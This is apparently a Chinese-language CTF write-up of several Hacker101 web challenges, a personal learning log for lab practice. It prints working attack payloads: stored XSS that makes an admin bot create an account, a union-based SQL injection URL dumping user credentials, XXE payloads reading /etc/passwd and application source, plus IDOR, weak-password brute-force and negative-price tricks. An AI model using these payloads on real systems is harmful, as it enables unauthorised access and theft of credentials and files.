hacker101 CTF 學習記錄(二)
前言
無
Easy-Postbook
拿到功能有點多,先掃一遍目錄
.Ds_Store沒有啥東西,page是個靜態頁面
隨便註冊個賬號,登入後已經有2篇文章,第一篇文章的id是1
自己建立文章,將url的引數id值改為1,可以越權修改文章,獲取第一個flag
改成id的值1
提交獲取flag
我們將自己的session的hash值放入md5中,發現MD5解碼為3
因此將session值改為1和2的md5試試看
替換為1的md5,登入賬號1,獲取第二個flag
使用2的md5值登入賬號2,拿到第三個flag........後面看了hint裡面的思路是弱口令
與第一個flag的越權修改不同,這次越權修改私密資訊,獲取第四個flag,其實這個flag應該是越權檢視profile的,但一併出來了
去查delete跟的hash引數,也是簡單的資料經過md5加密的
因此肯定存在越權,登入另一個賬號,刪除賬號1的文章
拿到第五個flag
profile也存在越權,通過後面的id,按abcdef的順序可檢視不同賬號寫的文章,但是這個地方獲取的flag是之前提交過的
文章發表處也存在越權,可以看到寫文章處post請求存在一個引數id
那麼修改id為1,拿到第六個flag
還有一個flag,搗鼓了下修改密碼處,無果
整理下現在拿flag的地方,越權檢視別人的個人頁面和私密資訊,越權改他人文章,越權刪除,越權發表,賬號越權2個
最後一個我看了提示是說的 198*5
,最後在遍歷文章id的時候發現945處存在flag
這類漏洞利用思路hint
Moderate-Ticketastic: Demo Instance
這道題沒有flag,找了一遍不知道是不是xss盲打的demo,但又沒有實際操作的管理員,看他簡介說有個bot,但是因為目標伺服器出不了外網,所以彈回cookie是不可能的
給了後臺管理員登入admin/admin
前臺有個反饋
反饋後,後臺彈框,JavaScript成功執行
Moderate-Ticketastic: Live Instance
環境和上一個是一樣的,但是有2個flag,且後臺登不進去了並且httponly,打不到cookie的
但是可以看到他存在一個建立使用者,並且提到了後臺存在bot,那麼我們要控制ajax去新增一個新使用者登陸。
拿到建立test/test的請求
http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test
來手寫ajax
<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>
嘗試了下不行
中途有事耽擱了幾天,重新申請了環境,改改poc
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>
將請求內容放到title中,終於在測試環境中成功了
成功添加了test1/test
那麼在正式題目環境中,嘗試一下
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>
![截圖2020-09-08 上午10.03.05](/Users/mi0/Library/Application Support/typora-user-images/截圖2020-09-08 上午10.03.05.png)
登入還是失敗,此時我一度懷疑後臺小機器人壞了......網上有人嘗試<a>
標籤成功,使用該方法試試
<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>
可以成功登了,注意沒有hash的路徑,他每個路徑都是一個docker映象,所以對於本地伺服器來說localhost = xx.xx.xx.xx/hash/
竟然登了進去了,找到第一個flag
那麼ajax為啥不行麼,後面發現還是路徑的問題,因此下面的payload是可以的
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>
在測試環境之所以可以,因為ajax的請求是訪問者觸發的,我的電腦可以訪問外網因此可以新增使用者,而機器人是無法出外網的因此必須要localhost,但是對於機器人來說它的路徑沒有那串hash,因此這也是為啥payload不成功的原因
第二個flag在id=1處,使用sql的測試語句報錯
明顯sql注入了,sqlmap不知道為啥很慢,帶回顯的聯合注入,直接手注
http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23
這類漏洞利用思路hint
之前同事提到的反射型xss不要急著交,沒多少錢,比如這裡可以結合ajax,新增使用者啊啥的,擴大危害面
Easy-Petshop Pro
進入題目分析下功能點,是個購物車功能
添加了幾個貨物後,在check out的時候修改金額為負數,典型的購物邏輯漏洞,獲取第一個flag
剩下2個flag沒有思路,先掃一遍目錄
看有個login,訪問下,錯誤的使用者名稱會提示Invalid username,嘗試爆破下
剛好Invalid password和Invalid username 一樣的長度,所以通過返回值來判斷,可以爆破出使用者erika(burpsuit自帶字典)
同理爆破出弱口令key
拿到第二個flag
點選edit,換個沒登入的賬號,存在越權但沒有flag,也有xss但沒有flag
最後名稱處的xss,在主頁不會出flag,但是會在購物車裡面出第三個flag.....
這類漏洞利用思路hint
Hard-Model E1337 - Rolling Code Lock
先掃一下目錄發現有admin目錄
訪問,沒有按鈕,input裡面沒有修改,嘗試了傳入location引數,沒有任何變化
接下來看看註釋,說有個get-config
可以看到確實存在get-config目錄,內容也是上面admin目錄下的input裡面的文字,並且該頁面是個xml檔案格式
那麼有get-config,猜測可能存在set-config,訪問後驗證假設成立,但是請求不對
抓包傳送options 看一看可以請求的型別,看到請求方法還是隻允許get,可能缺失什麼引數,輸入location也不對,只有爆破一下試試,這裡使用burpsuit的short password字典試一試
爆破到引數為data的時候為500.....
聯合之前的get-config是xml格式,這裡懷疑傳入的可能也是xml格式,也就是xxe漏洞
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>
url編碼一下
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e
非常棒,302了,說明成功了
但是其他頁面都一塵不變,修改下poc,下面成功將test,列印到了admin中
xxe的poc,我們將讀取的檔案打入會輸出的標籤中,因此再次修改poc
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>
已經成功讀取到了/etc/passwd了,但是莫得flag,後面有嘗試使用expect協議程式碼執行,也沒有效果
那麼接下來應該是去讀原始碼了,這個環境坑定是python寫的,結合上一節的一道題目,大概率有以下目錄,/app/main.py
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>
拿到第一個flag
第二個flag應該是需要unlock了,需要檢視程式碼邏輯,FLAG是存在全域性變數裡面的
主要看以下程式碼邏輯,發現code會進入int函式轉換為數字,這也是為啥在主介面輸入字元時會報錯的原因
匹配值會進入next函式,但main.py裡面沒有next函式的定義
觀察最開始的import,引入了rng包,因此使用xxe去讀取rng.py檔案
讀取後可以看到next的邏輯,但是密碼學的渣看不懂啊orz
密碼種子碰撞不會orz,暫時挖個坑